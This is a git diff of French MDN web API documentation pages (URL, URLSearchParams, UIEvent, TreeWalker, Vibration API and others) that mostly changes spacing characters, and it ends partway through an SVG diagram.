`touchmove` de la série empêche la saisie d'événements en provenance de la souris, on appelle souvent `preventDefault()` sur `touchmove` plutôt que sur `touchstart`. Ainsi, les événements de la souris peuvent continuer à se déclencher et le reste du site fonctionnera de manière habituelle. Une autre méthode parfois utilisée est de déclencher des événements de souris à partir des événements tactiles. (L'exemple qui suit représente seulement une indication. La logique a été simplifiée et ce code, tel quel, aura un comportement étrange.) +Étant donné que l'appel de la méthode `preventDefault()` sur l'événement `touchstart` ou le premier événement `touchmove` de la série empêche la saisie d'événements en provenance de la souris, on appelle souvent `preventDefault()` sur `touchmove` plutôt que sur `touchstart`. Ainsi, les événements de la souris peuvent continuer à se déclencher et le reste du site fonctionnera de manière habituelle. Une autre méthode parfois utilisée est de déclencher des événements de souris à partir des événements tactiles. (L'exemple qui suit représente seulement une indication. La logique a été simplifiée et ce code, tel quel, aura un comportement étrange.) ```js function onTouch(evt) { diff --git a/files/fr/web/api/transferable/index.md b/files/fr/web/api/transferable/index.md index 0a86bfe7a1..54a9b45670 100644 --- a/files/fr/web/api/transferable/index.md +++ b/files/fr/web/api/transferable/index.md @@ -15,7 +15,7 @@ C'est une interface abstraite et il n'y a aucun objet de ce type. Il ne définit > **Note :** L'interface `Transferable` n'existe plus pour longtemps. La fonctionnalité des objets `Transferable` existe toujours, cependant, l'inpléméentation est à un niveau plus fondamentale (techniquement parlant, utilisant l'attribut étendu `[Transferable]` {{Glossary("WebIDL")}}) -Les interfaces {{domxref("ArrayBuffer")}}, {{domxref("MessagePort")}}, {{domxref("ImageBitmap")}} et {{domxref("OffscreenCanvas")}} l'implémentent. +Les interfaces {{domxref("ArrayBuffer")}}, {{domxref("MessagePort")}}, {{domxref("ImageBitmap")}} et {{domxref("OffscreenCanvas")}} l'implémentent. ## Propriétés diff --git a/files/fr/web/api/treewalker/expandentityreferences/index.md b/files/fr/web/api/treewalker/expandentityreferences/index.md index 32bed4b615..2d77e919d3 100644 --- a/files/fr/web/api/treewalker/expandentityreferences/index.md +++ b/files/fr/web/api/treewalker/expandentityreferences/index.md @@ -13,7 +13,7 @@ translation_of: Web/API/TreeWalker/expandEntityReferences La propriété en lecture seule **`TreeWalker.expandEntityReferences`** renvoie un {{domxref("Boolean")}} (_booléen_) indiquant si les enfants des nœuds de référence d'entité sont visibles ou non pour le {{domxref("TreeWalker")}}. -Si la valeur est `false` (_faux_), les enfants des nœuds de référence d'entité (ainsi que tous leurs descendants) sont rejetés. Cela a préséance sur la valeur de la méthode {{domxref("TreeWalker.whatToShow")}} et du filtre associé. +Si la valeur est `false` (_faux_), les enfants des nœuds de référence d'entité (ainsi que tous leurs descendants) sont rejetés. Cela a préséance sur la valeur de la méthode {{domxref("TreeWalker.whatToShow")}} et du filtre associé. ## Syntaxe diff --git a/files/fr/web/api/treewalker/whattoshow/index.md b/files/fr/web/api/treewalker/whattoshow/index.md index b7f4dd47c1..905ddc20ce 100644 --- a/files/fr/web/api/treewalker/whattoshow/index.md +++ b/files/fr/web/api/treewalker/whattoshow/index.md @@ -10,7 +10,7 @@ translation_of: Web/API/TreeWalker/whatToShow --- {{APIRef("DOM")}} -La propriété en lecture seule **`TreeWalker.whatToShow`** renvoie un `unsigned long` (_non signé long_) qui est un masque constitué de constantes décrivant les types de {{domxref("Node")}} à présenter. Les noeuds ne correspondant pas sont ignorés, mais leurs enfants peuvent être inclus s'ils sont pertinents. Les valeurs possibles sont : +La propriété en lecture seule **`TreeWalker.whatToShow`** renvoie un `unsigned long` (_non signé long_) qui est un masque constitué de constantes décrivant les types de {{domxref("Node")}} à présenter. Les noeuds ne correspondant pas sont ignorés, mais leurs enfants peuvent être inclus s'ils sont pertinents. Les valeurs possibles sont : | Constante | Valeur numérique | Description | | --------------------------------------------------------------- | ------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | @@ -42,7 +42,7 @@ var treeWalker = document.createTreeWalker( false ); if( (treeWalker.whatToShow == NodeFilter.SHOW_ALL) || - (treeWalker.whatToShow % (NodeFilter.SHOW_COMMENT*2)) >= NodeFilter.SHOW_COMMENT) { + (treeWalker.whatToShow % (NodeFilter.SHOW_COMMENT*2)) >= NodeFilter.SHOW_COMMENT) { // treeWalker affichera des commentaires } ``` diff --git a/files/fr/web/api/uievent/detail/index.md b/files/fr/web/api/uievent/detail/index.md index 873116753a..16b4af4b3a 100644 --- a/files/fr/web/api/uievent/detail/index.md +++ b/files/fr/web/api/uievent/detail/index.md @@ -14,7 +14,7 @@ translation_of: Web/API/UIEvent/detail Pour les événements {{event("click")}} ou {{event("dblclick")}}, `UIEvent.detail` donne le nombre de clics courant. -Pour les événements {{event("mousedown")}} ou {{event("mouseup")}}, `UIEvent.detail` donne le nombre de clics courant _plus_ un. +Pour les événements {{event("mousedown")}} ou {{event("mouseup")}}, `UIEvent.detail` donne le nombre de clics courant _plus_ un. Pour tous les autres objets {{domxref("UIEvent")}}, `UIEvent.detail` vaut toujours zéro. @@ -22,7 +22,7 @@ Pour tous les autres objets {{domxref("UIEvent")}}, `UIEvent.detail` vaut toujou | Spécification | Statut | Commentaires | | -------------------------------------------------------------------------------------------- | -------------------------------- | -------------------- | -| {{SpecName('DOM3 Events','#widl-UIEvent-detail','UIEvent.detail')}} | {{Spec2('DOM3 Events')}} | | +| {{SpecName('DOM3 Events','#widl-UIEvent-detail','UIEvent.detail')}} | {{Spec2('DOM3 Events')}} | | | {{SpecName('DOM2 Events','#Events-UIEvent-detail','UIEvent.detail')}} | {{Spec2('DOM2 Events')}} | Première définition. | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/uievent/index.md b/files/fr/web/api/uievent/index.md index 2fad98cefd..47de3e8ea1 100644 --- a/files/fr/web/api/uievent/index.md +++ b/files/fr/web/api/uievent/index.md @@ -15,7 +15,7 @@ translation_of: Web/API/UIEvent L'interface **`UIEvent`** représente des évènements simples de l'interface utilisateur. -`UIEvent` dérive de {{domxref("Event")}}. Bien que la méthode {{domxref("UIEvent.initUIEvent()")}} soit conservée pour la compatibilité ascendante, vous devez créer un objet `UIEvent` en utilisant le constructeur {{domxref("UIEvent.UIEvent", "UIEvent()")}}. +`UIEvent` dérive de {{domxref("Event")}}. Bien que la méthode {{domxref("UIEvent.initUIEvent()")}} soit conservée pour la compatibilité ascendante, vous devez créer un objet `UIEvent` en utilisant le constructeur {{domxref("UIEvent.UIEvent", "UIEvent()")}}. Plusieurs interfaces descendent directement ou indirectement de celle-ci : {{domxref("MouseEvent")}}, {{domxref("FocusEvent")}}, {{domxref("KeyboardEvent")}}, {{domxref("WheelEvent")}}, {{domxref("InputEvent")}} et {{domxref("CompositionEvent")}}. @@ -28,7 +28,7 @@ Plusieurs interfaces descendent directement ou indirectement de celle-ci : {{dom _Cette interface hérite également des propriétés de son parent {{domxref("Event")}}._ -- {{domxref("UIEvent.cancelBubble")}} {{Non-standard_inline}} {{Deprecated_inline}} +- {{domxref("UIEvent.cancelBubble")}} {{Non-standard_inline}} {{Deprecated_inline}} - : {{jsxref("Boolean")}} _(booléen)_ indiquant si les conséquences de l'évènement ont été annulées ou non. <!----> @@ -45,7 +45,7 @@ _Cette interface hérite également des propriétés de son parent {{domxref("Ev - : Retourne la coordonnée horizontale de l'évènement par rapport à l'ensemble du document. - {{domxref("UIEvent.pageY")}} {{Non-standard_inline}} {{readonlyinline}} - : Retourne la coordonnée verticale de l'évènement par rapport à l'ensemble du document. -- {{domxref("UIEvent.sourceCapabilities")}} {{non-standard_inline}} {{readonlyinline}} +- {{domxref("UIEvent.sourceCapabilities")}} {{non-standard_inline}} {{readonlyinline}} - : Retourne une instance de l'interface `InputDeviceCapabilities` qui fournit des informations sur le périphérique physique responsable de l'évènement. - {{domxref("UIEvent.view")}}{{readonlyinline}} - : Retourne un {{domxref("WindowProxy")}} qui contient la vue de la génération de l'évènement. diff --git a/files/fr/web/api/uievent/layerx/index.md b/files/fr/web/api/uievent/layerx/index.md index 8b00e7be60..10dcb3990b 100644 --- a/files/fr/web/api/uievent/layerx/index.md +++ b/files/fr/web/api/uievent/layerx/index.md @@ -12,15 +12,15 @@ translation_of: Web/API/UIEvent/layerX --- {{APIRef("DOM Events")}} {{Non-standard_header}} -La propriété en lecture seule **`UIEvent.layerX`** retourne la coordonnée horizontale de l'évènement relativement à la couche en cours. +La propriété en lecture seule **`UIEvent.layerX`** retourne la coordonnée horizontale de l'évènement relativement à la couche en cours. -Cette propriété prend en compte le défilement de la page, et retourne une valeur relative à l'ensemble du document, à moins que l'évènement ne se soit produit à l'intérieur d'un élément positionné, auquel cas la valeur retournée est relative au coin supérieur gauche de l'élément positionné. +Cette propriété prend en compte le défilement de la page, et retourne une valeur relative à l'ensemble du document, à moins que l'évènement ne se soit produit à l'intérieur d'un élément positionné, auquel cas la valeur retournée est relative au coin supérieur gauche de l'élément positionné. ## **Syntaxe** - var posx = event.layerX + var posx = event.layerX -- *`posx`* est une valeur entière en pixels pour la coordonnée x du pointeur de la souris, lorsque l'évènement souris est déclenché. +- *`posx`* est une valeur entière en pixels pour la coordonnée x du pointeur de la souris, lorsque l'évènement souris est déclenché. ## **Exemples** diff --git a/files/fr/web/api/url/createobjecturl/index.md b/files/fr/web/api/url/createobjecturl/index.md index 25ec39cb51..9e3746bdce 100644 --- a/files/fr/web/api/url/createobjecturl/index.md +++ b/files/fr/web/api/url/createobjecturl/index.md @@ -35,7 +35,7 @@ Voir [Utilisation de l’objet URLs pour afficher des images](/fr/docs/Web/API/F À chaque fois que vous appelez `createObjectURL()`, une nouvelle URL d’objet est créée, même si vous en avez déjà créée une pour le même objet. Chacune d’elles doit être libérée en appelant {{domxref("URL.revokeObjectURL()")}} lorsque vous n’en avez plus besoin. -Les navigateurs libèrent automatiquement les URL d’objet lorsque le document est déchargé (_unload_) ; cependant, pour une performance et une utilisation de la mémoire optimales, si vous avez la possiblité de les libérer explictement sans danger, vous devriez le faire. +Les navigateurs libèrent automatiquement les URL d’objet lorsque le document est déchargé (_unload_) ; cependant, pour une performance et une utilisation de la mémoire optimales, si vous avez la possiblité de les libérer explictement sans danger, vous devriez le faire. ### Utiliser les URL d’objet pour les flux de média @@ -68,7 +68,7 @@ Dans d’anciennes versions de la spécification de Media Source, attacher un fl <p> Extension MediaSource.<br />Les anciennes versions de cette spécification utilisaient <code>createObjectURL()</code> pour les - objets {{domxref("MediaStream")}} ; ce n’est plus supporté. + objets {{domxref("MediaStream")}} ; ce n’est plus supporté. </p> </td> </tr> diff --git a/files/fr/web/api/url/hash/index.md b/files/fr/web/api/url/hash/index.md index 9858af61aa..ae5113d228 100644 --- a/files/fr/web/api/url/hash/index.md +++ b/files/fr/web/api/url/hash/index.md @@ -11,9 +11,9 @@ translation_of: Web/API/URL/hash --- {{ APIRef("URL API") }} -La propriété **`hash`** de l'interface {{domxref("URL")}} retourne un {{domxref("USVString")}} contenant le caractère `'#'` suivi par l'identificateur de fragment de URL. +La propriété **`hash`** de l'interface {{domxref("URL")}} retourne un {{domxref("USVString")}} contenant le caractère `'#'` suivi par l'identificateur de fragment de URL. -Le fragment n'est pas [décodé en pourcent](/en-US/docs/Glossary/percent-encoding). Si l'URL ne contient pas d'identificateur de fragment, la valeur de cette propriété est une chaîne de caractère vide — `""`. +Le fragment n'est pas [décodé en pourcent](/en-US/docs/Glossary/percent-encoding). Si l'URL ne contient pas d'identificateur de fragment, la valeur de cette propriété est une chaîne de caractère vide — `""`. {{AvailableInWorkers}} diff --git a/files/fr/web/api/url/index.md b/files/fr/web/api/url/index.md index 7f1e32a768..9814e808c0 100644 --- a/files/fr/web/api/url/index.md +++ b/files/fr/web/api/url/index.md @@ -39,7 +39,7 @@ url.pathname = 'démonstration.html'; console.log(url.href); // "http://www.example.com/d%C3%A9monstration.html" ``` -L'interface {{domxref("URLSearchParams")}} peut être utilisée pour construire et manipuler la chaîne de requête de l'URL. +L'interface {{domxref("URLSearchParams")}} peut être utilisée pour construire et manipuler la chaîne de requête de l'URL. Pour obtenir les paramètres de recherche à partir de l'URL de la fenêtre en cours : @@ -58,7 +58,7 @@ const response = await fetch(new URL('http://www.example.com/démonstration.html ## Constructeur - {{domxref("URL.URL", "URL()")}} {{experimental_inline}} - - : Crée et retourne un objet `URL` composé des paramètres donnés. + - : Crée et retourne un objet `URL` composé des paramètres donnés. ## Propriétés @@ -98,7 +98,7 @@ const response = await fetch(new URL('http://www.example.com/démonstration.html - {{domxref("URL.search")}} - : Est une {{domxref("DOMString")}} _(chaîne de caractères)_ contenant un `'?'` suivi par les paramètres de l'URL. - {{domxref("URL.searchParams")}} - - : Retourne un objet {{domxref("URLSearchParams")}} permettant d'accéder aux arguments de requête GET contenus dans l'URL. + - : Retourne un objet {{domxref("URLSearchParams")}} permettant d'accéder aux arguments de requête GET contenus dans l'URL. - {{domxref("URL.username")}} - : Est une {{domxref("DOMString")}} _(chaîne de caractères)_ contenant le nom d'utilisateur spécifié avant le nom de domaine. @@ -109,12 +109,12 @@ L'interface `URL` implémente les méthodes définies dans _{{domxref("URLUtils" - {{domxref("URLUtils.toString()")}} - : Retourne une {{domxref("DOMString")}} _(chaîne de caractères)_ contenant l'URL entière. C'est un synonyme de {{domxref("URLUtils.href")}}, mais il ne peut pas être utilisé pour modifier la valeur. - {{domxref("URL.toJSON()")}} - - : Retourne une {{domxref("DOMString")}} _(chaîne de caractères)_ contenant l'URL entière. Il retourne la même chaîne que la propriété `href` . + - : Retourne une {{domxref("DOMString")}} _(chaîne de caractères)_ contenant l'URL entière. Il retourne la même chaîne que la propriété `href` . ## Méthodes statiques - {{ domxref("URL.createObjectURL()") }} - - : Retourne une {{domxref("DOMString")}} _(chaîne de caractères)_ contenant un "blob URL" unique ; c'est une URL avec `blob :` son schéma suivi d'une chaîne opaque identifiant de manière unique l'objet dans le navigateur. + - : Retourne une {{domxref("DOMString")}} _(chaîne de caractères)_ contenant un "blob URL" unique ; c'est une URL avec `blob :` son schéma suivi d'une chaîne opaque identifiant de manière unique l'objet dans le navigateur. - {{ domxref("URL.revokeObjectURL()") }} - : Révoque un objet URL précédemment créé avec {{domxref ("URL.createObjectURL ()")}}. diff --git a/files/fr/web/api/url/protocol/index.md b/files/fr/web/api/url/protocol/index.md index 2bc51d5bdc..d830f6ae15 100644 --- a/files/fr/web/api/url/protocol/index.md +++ b/files/fr/web/api/url/protocol/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/URL/protocol --- {{ApiRef("URL API")}} -La propriété **`protocol`** de l'interface {{domxref("URL")}} est une {{domxref("USVString")}} représentant le schéma protocolaire de URL, incluant `':'` à la fin. +La propriété **`protocol`** de l'interface {{domxref("URL")}} est une {{domxref("USVString")}} représentant le schéma protocolaire de URL, incluant `':'` à la fin. {{AvailableInWorkers}} diff --git a/files/fr/web/api/url/search/index.md b/files/fr/web/api/url/search/index.md index 87b1925270..f00f6f9497 100644 --- a/files/fr/web/api/url/search/index.md +++ b/files/fr/web/api/url/search/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/URL/search --- {{ApiRef("URL API")}} -La propriété **`search`** de l'interface {{domxref("URL")}} est une chaine d'interrogation, aussi appellée une chaine de recherche, c'est un {{domxref("USVString")}} contenant le caractère `'?'` suivi des paramètres de l'URL. +La propriété **`search`** de l'interface {{domxref("URL")}} est une chaine d'interrogation, aussi appellée une chaine de recherche, c'est un {{domxref("USVString")}} contenant le caractère `'?'` suivi des paramètres de l'URL. Les navigateurs récents fournissent la propriété {{domxref("URL.searchParams")}} qui permet d'analyser plus facilement les paramètres passés à la chaîne de recherche. diff --git a/files/fr/web/api/url/searchparams/index.md b/files/fr/web/api/url/searchparams/index.md index 64f622e47f..0b574d29a0 100644 --- a/files/fr/web/api/url/searchparams/index.md +++ b/files/fr/web/api/url/searchparams/index.md @@ -10,7 +10,7 @@ tags: - URLSearchParameters translation_of: Web/API/URL/searchParams --- -{{APIRef("URL API")}} La propriété en lecture seule **`searchParams`** de l'interface {{domxref("URL")}} retourne un objet {{domxref("URLSearchParams")}} permettant d'accéder aux arguments décodés de la requête GET contenue dans l'URL. +{{APIRef("URL API")}} La propriété en lecture seule **`searchParams`** de l'interface {{domxref("URL")}} retourne un objet {{domxref("URLSearchParams")}} permettant d'accéder aux arguments décodés de la requête GET contenue dans l'URL. {{AvailableInWorkers}} @@ -20,11 +20,11 @@ translation_of: Web/API/URL/searchParams ### Value -Un objet {{domxref("URLSearchParams")}}. +Un objet {{domxref("URLSearchParams")}}. ## Exemples -Si l'URL de votre page est `https://example.com/?nom=Jonathan%20Smith&age=18` +Si l'URL de votre page est `https://example.com/?nom=Jonathan%20Smith&age=18` vous pouvez extraire les paramètres 'nom' et 'age' en utilisant: ```js @@ -39,6 +39,6 @@ let age = parseInt(params.get('age')); // le nombre 18 | -------------------------------------------------------------------------------- | -------------------- | -------------------- | | {{SpecName('URL', '#dom-url-searchparams', 'searchParams')}} | {{Spec2('URL')}} | Définition initiale. | -## Compatibilités des navigateurs +## Compatibilités des navigateurs {{Compat("api.URL.searchParams")}} diff --git a/files/fr/web/api/url/tojson/index.md b/files/fr/web/api/url/tojson/index.md index 4c53981f11..0b5438d497 100644 --- a/files/fr/web/api/url/tojson/index.md +++ b/files/fr/web/api/url/tojson/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/URL/toJSON --- {{APIRef("URL API")}} -La méthode **`toJSON()`** de l'interface {{domxref("URL")}} retourne un {{domxref("USVString")}} contenant une version sérialisé de l'URL, même si dans la pratique, il semble avoir le même effet que {{domxref("URL.toString()")}}. +La méthode **`toJSON()`** de l'interface {{domxref("URL")}} retourne un {{domxref("USVString")}} contenant une version sérialisé de l'URL, même si dans la pratique, il semble avoir le même effet que {{domxref("URL.toString()")}}. {{AvailableInWorkers}} diff --git a/files/fr/web/api/url/tostring/index.md b/files/fr/web/api/url/tostring/index.md index 5f61fd9b31..3af4dc690d 100644 --- a/files/fr/web/api/url/tostring/index.md +++ b/files/fr/web/api/url/tostring/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/URL/toString --- {{ApiRef("URL API")}} -La méthode **`URL.toString()`** retourne un {{domxref("USVString")}} contenant tout l'URL. C'est en effet, une version de {{domxref("URL.href")}} en lecture seule. +La méthode **`URL.toString()`** retourne un {{domxref("USVString")}} contenant tout l'URL. C'est en effet, une version de {{domxref("URL.href")}} en lecture seule. {{AvailableInWorkers}} @@ -46,4 +46,4 @@ url.toString() // doit retourner l'URL en tant que chaîne ## Voir aussi -- L'interface {{domxref("URL")}} à laquelle elle appartient. +- L'interface {{domxref("URL")}} à laquelle elle appartient. diff --git a/files/fr/web/api/url/url/index.md b/files/fr/web/api/url/url/index.md index cb9012b467..9bcba5ba7f 100644 --- a/files/fr/web/api/url/url/index.md +++ b/files/fr/web/api/url/url/index.md @@ -11,9 +11,9 @@ translation_of: Web/API/URL/URL --- {{APIRef("URL API")}} -Le constructeur **`URL()`** renvoie un nouvel objet {{domxref("URL")}} représentant l'URL définie par les paramètres. +Le constructeur **`URL()`** renvoie un nouvel objet {{domxref("URL")}} représentant l'URL définie par les paramètres. -Si l'URL de base donnée ou l'URL résultante ne sont pas des URL valides, une {{domxref("DOMException")}} de type `SYNTAX_ERROR` est levée. +Si l'URL de base donnée ou l'URL résultante ne sont pas des URL valides, une {{domxref("DOMException")}} de type `SYNTAX_ERROR` est levée. {{AvailableInWorkers}} diff --git a/files/fr/web/api/urlsearchparams/entries/index.md b/files/fr/web/api/urlsearchparams/entries/index.md index e7b812241b..22cddd1de6 100644 --- a/files/fr/web/api/urlsearchparams/entries/index.md +++ b/files/fr/web/api/urlsearchparams/entries/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/URLSearchParams/entries --- {{APIRef("URL API")}}{{SeeCompatTable}} -La méthode **`URLSearchParams.entries()`** retourne un itérateur( {{jsxref("Iteration_protocols",'iterator')}}) permettant de parcourir les paires de clé/valeur contenues dans cet objet. La clé et la valeur de chaque paire est un objet {{domxref("USVString")}} . +La méthode **`URLSearchParams.entries()`** retourne un itérateur( {{jsxref("Iteration_protocols",'iterator')}}) permettant de parcourir les paires de clé/valeur contenues dans cet objet. La clé et la valeur de chaque paire est un objet {{domxref("USVString")}} . > **Note :** This method is available in [Web Workers](/en-US/docs/Web/API/Web_Workers_API). diff --git a/files/fr/web/api/urlsearchparams/index.md b/files/fr/web/api/urlsearchparams/index.md index 27c7e479d8..961bb9e6ce 100644 --- a/files/fr/web/api/urlsearchparams/index.md +++ b/files/fr/web/api/urlsearchparams/index.md @@ -7,7 +7,7 @@ translation_of: Web/API/URLSearchParams L’interface **`URLSearchParams`** définit des méthodes utilitaires pour travailler avec la _chaîne de requête_ (les paramètres `GET`) d’une URL. -Un objet implémentant `URLSearchParams` peut être directement utilisé dans une structure {{jsxref("Statements/for...of", "for...of")}}, au lieu de {{domxref('URLSearchParams.entries()', 'entries()')}} : `for (var p of mySearchParams)` ou son équivalent `for (var p of mySearchParams.entries())`. +Un objet implémentant `URLSearchParams` peut être directement utilisé dans une structure {{jsxref("Statements/for...of", "for...of")}}, au lieu de {{domxref('URLSearchParams.entries()', 'entries()')}} : `for (var p of mySearchParams)` ou son équivalent `for (var p of mySearchParams.entries())`. ## Constructeur @@ -80,5 +80,5 @@ searchParams.toString(); // "q=URLUtils.searchParams" ## Voir aussi -- Autres interfaces liées aux URL : {{domxref("URL")}}, {{domxref("URLUtils")}}. +- Autres interfaces liées aux URL : {{domxref("URL")}}, {{domxref("URLUtils")}}. - [Google Developers: Easy URL manipulation with URLSearchParams](https://developers.google.com/web/updates/2016/01/urlsearchparams?hl=en) diff --git a/files/fr/web/api/vibration_api/index.md b/files/fr/web/api/vibration_api/index.md index e9e8569268..c39692cf29 100644 --- a/files/fr/web/api/vibration_api/index.md +++ b/files/fr/web/api/vibration_api/index.md @@ -24,7 +24,7 @@ Ces deux exemples illustrent tout deux la vibration de l'appareil pendant 200 mi ### Série de vibrations -Un tableau de valeurs décrit des périodes de temps durant lesquelles le dispositif effectue des vibrations alternées (marche-arrêt répété). Chaque valeur dans le tableau est convertie en entier puis est interprétée alternativement comme le nombre de millisecondes pour lequel le dispositif devrait vibrer et le nombre de millisecondes dont il ne le devrait pas. Par exemple: +Un tableau de valeurs décrit des périodes de temps durant lesquelles le dispositif effectue des vibrations alternées (marche-arrêt répété). Chaque valeur dans le tableau est convertie en entier puis est interprétée alternativement comme le nombre de millisecondes pour lequel le dispositif devrait vibrer et le nombre de millisecondes dont il ne le devrait pas. Par exemple: @@ -42,7 +42,7 @@ Faire appel à {{domxref("Navigator.vibrate()")}} avec une valeur 0, un tableau ### Vibrations continues -Quelques codes de base comme `setInterval` et `clearInterval` vont vous permettre de créer une vibration persistante: +Quelques codes de base comme `setInterval` et `clearInterval` vont vous permettre de créer une vibration persistante: ```js var vibrateInterval; @@ -71,7 +71,7 @@ Bien sûr, l'extrait de code ci-dessus ne prends pas en compte la méthode du ta ### Pourquoi utiliser l'API de vibration? -Cette APi est dédiée pour les appareils mobiles. Il peut être indispensable pour les alertes au sein des applications mobiles et est particulièrement utile lorsqu'il est associé à des jeux ou des applications multimédia lourdes. Imaginez lorsque vous êtes en train de regarder une vidéo sur votre appareil mobile et pendant une scène d'explosion, votre téléphone vibre un peu. Ou jouer à Bomberman et sentir une petite vibration lorsqu'un bloc explose. +Cette APi est dédiée pour les appareils mobiles. Il peut être indispensable pour les alertes au sein des applications mobiles et est particulièrement utile lorsqu'il est associé à des jeux ou des applications multimédia lourdes. Imaginez lorsque vous êtes en train de regarder une vidéo sur votre appareil mobile et pendant une scène d'explosion, votre téléphone vibre un peu. Ou jouer à Bomberman et sentir une petite vibration lorsqu'un bloc explose. ## Spécifications diff --git a/files/fr/web/api/vrdisplaycapabilities/index.md b/files/fr/web/api/vrdisplaycapabilities/index.md index f4e7209f4d..496c7141a6 100644 --- a/files/fr/web/api/vrdisplaycapabilities/index.md +++ b/files/fr/web/api/vrdisplaycapabilities/index.md @@ -5,22 +5,22 @@ translation_of: Web/API/VRDisplayCapabilities --- {{APIRef("WebVR API")}}{{SeeCompatTable}} -L'interface **`VRDisplayCapabilities`** de [WebVR API](/en-US/docs/Web/API/WebVR_API) décrit les capacités d'un appareil {{domxref("VRDisplay")}} — ses fonctionalités peuvent être utilisée pour tester les capacités de l'appareil, par exemple il peut retourner de l'information sur la position. +L'interface **`VRDisplayCapabilities`** de [WebVR API](/en-US/docs/Web/API/WebVR_API) décrit les capacités d'un appareil {{domxref("VRDisplay")}} — ses fonctionalités peuvent être utilisée pour tester les capacités de l'appareil, par exemple il peut retourner de l'information sur la position. -Cet interface est accessible à partir de la propriété {{domxref("VRDisplay.capabilities")}}. +Cet interface est accessible à partir de la propriété {{domxref("VRDisplay.capabilities")}}. ## Properties - {{domxref("VRDisplayCapabilities.canPresent")}} {{readonlyInline}} - - : Retourne un objet {{domxref("Boolean")}} qui décrit si l'écran RV est capable de présenter du contenu (e.g. en utilisant un visiocasque). + - : Retourne un objet {{domxref("Boolean")}} qui décrit si l'écran RV est capable de présenter du contenu (e.g. en utilisant un visiocasque). - {{domxref("VRDisplayCapabilities.hasExternalDisplay")}} {{readonlyInline}} - - : Retourne un objet {{domxref("Boolean")}} indiquant si l'écran RV est séparé de l'écran primaire de l'appareil. + - : Retourne un objet {{domxref("Boolean")}} indiquant si l'écran RV est séparé de l'écran primaire de l'appareil. - {{domxref("VRDisplayCapabilities.hasOrientation")}} {{readonlyInline}} - - : Retourne un objet {{domxref("Boolean")}} indiquant si l'écran RV peut suivre le mouvement de l'appareil et retourne de l'information sur l'orientation. + - : Retourne un objet {{domxref("Boolean")}} indiquant si l'écran RV peut suivre le mouvement de l'appareil et retourne de l'information sur l'orientation. - {{domxref("VRDisplayCapabilities.hasPosition")}} {{readonlyInline}} - - : Retourne un objet {{domxref("Boolean")}} indiquant si l'écran RV peut suivre le mouvement de l'appareil et retourne de l'information sur l'orientation. + - : Retourne un objet {{domxref("Boolean")}} indiquant si l'écran RV peut suivre le mouvement de l'appareil et retourne de l'information sur l'orientation. - {{domxref("VRDisplayCapabilities.maxLayers")}} {{readonlyInline}} - - : Retourne un nombre indiquant le nombre maximal de {{domxref("VRLayer")}}s que l'écran RV peut présenter en même temps (e.g. la longueur maximale du tableau que {{domxref("Display.requestPresent()")}} peut accepter.) + - : Retourne un nombre indiquant le nombre maximal de {{domxref("VRLayer")}}s que l'écran RV peut présenter en même temps (e.g. la longueur maximale du tableau que {{domxref("Display.requestPresent()")}} peut accepter.) ## Exemples diff --git a/files/fr/web/api/web_audio_api/basic_concepts_behind_web_audio_api/audionodes.svg b/files/fr/web/api/web_audio_api/basic_concepts_behind_web_audio_api/audionodes.svg index 088bb1442c..cee81ac6c3 100644 --- a/files/fr/web/api/web_audio_api/basic_concepts_behind_web_audio_api/audionodes.svg +++ b/files/fr/web/api/web_audio_api/basic_concepts_behind_web_audio_api/audionodes.svg @@ -1,5 +1,5 @@ <svg xmlns="http://www.w3.org/2000/svg" style="background-color:#fff" width="630" height="360"><g transform="translate(.5 .5)"><circle cx="294" cy="248" fill="#fff" stroke="#000" stroke-dasharray="3 3" pointer-events="none" r="110"/><path d="M199 248h190" fill="none" stroke="#000" stroke-width="5" stroke-miterlimit="10" pointer-events="none"/><path fill="#fff" stroke="#000" pointer-events="none" d="M247 188h94v24h-94zm0 24h94v24h-94zm0 24h94v24h-94z"/><path fill="#fff" stroke="#000" pointer-events="none" d="M247 258h94v24h-94zm0 24h94v24h-94z"/><path d="M249 188v120m94-120v120" fill="none" stroke="#000" stroke-width="2" stroke-miterlimit="10" pointer-events="none"/><path fill="#fff" stroke="#000" pointer-events="none" d="M284 180h24v16h-24z"/><text x="3" y="9" text-anchor="middle" font-size="8" font-family="Helvetica" transform="translate(293 183)">L</text><path fill="#fff" stroke="#000" pointer-events="none" d="M284 203h24v16h-24z"/><text x="4" y="9" text-anchor="middle" font-size="8" font-family="Helvetica" transform="translate(293 206)">R</text><path fill="#fff" stroke="#000" pointer-events="none" d="M284 227h24v16h-24z"/><text x="7" y="9" text-anchor="middle" font-size="8" font-family="Helvetica" transform="translate(290 230)">SL</text><path fill="#fff" stroke="#000" pointer-events="none" d="M284 250h24v16h-24z"/><text x="7" y="9" text-anchor="middle" font-size="8" font-family="Helvetica" transform="translate(289 253)">SR</text><path fill="#fff" stroke="#000" pointer-events="none" d="M284 274h24v16h-24z"/><text x="4" y="9" text-anchor="middle" font-size="8" font-family="Helvetica" transform="translate(293 277)">C</text><path fill="#fff" stroke="#000" pointer-events="none" d="M284 298h24v16h-24z"/><text x="10" y="9" text-anchor="middle" font-size="8" font-family="Helvetica" transform="translate(287 301)">LFE</text><path d="M9 27h119.9" fill="none" stroke="#000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="m135.65 27-9 4.5 2.25-4.5-2.25-4.5z" stroke="#000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="m74 47 129 135" fill="none" stroke="#000" stroke-miterlimit="10" stroke-dasharray="3 3" pointer-events="none"/><path d="M278 26h119.9" fill="none" stroke="#000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="m404.65 26-9 4.5 2.25-4.5-2.25-4.5z" stroke="#000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M278 49h55.5q10 0 10 10v47q0 10 10 10h45.4" fill="none" stroke="#000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="m405.65 116-9 4.5 2.25-4.5-2.25-4.5z" stroke="#000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M549 25h59.9" fill="none" stroke="#000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="m615.65 25-9 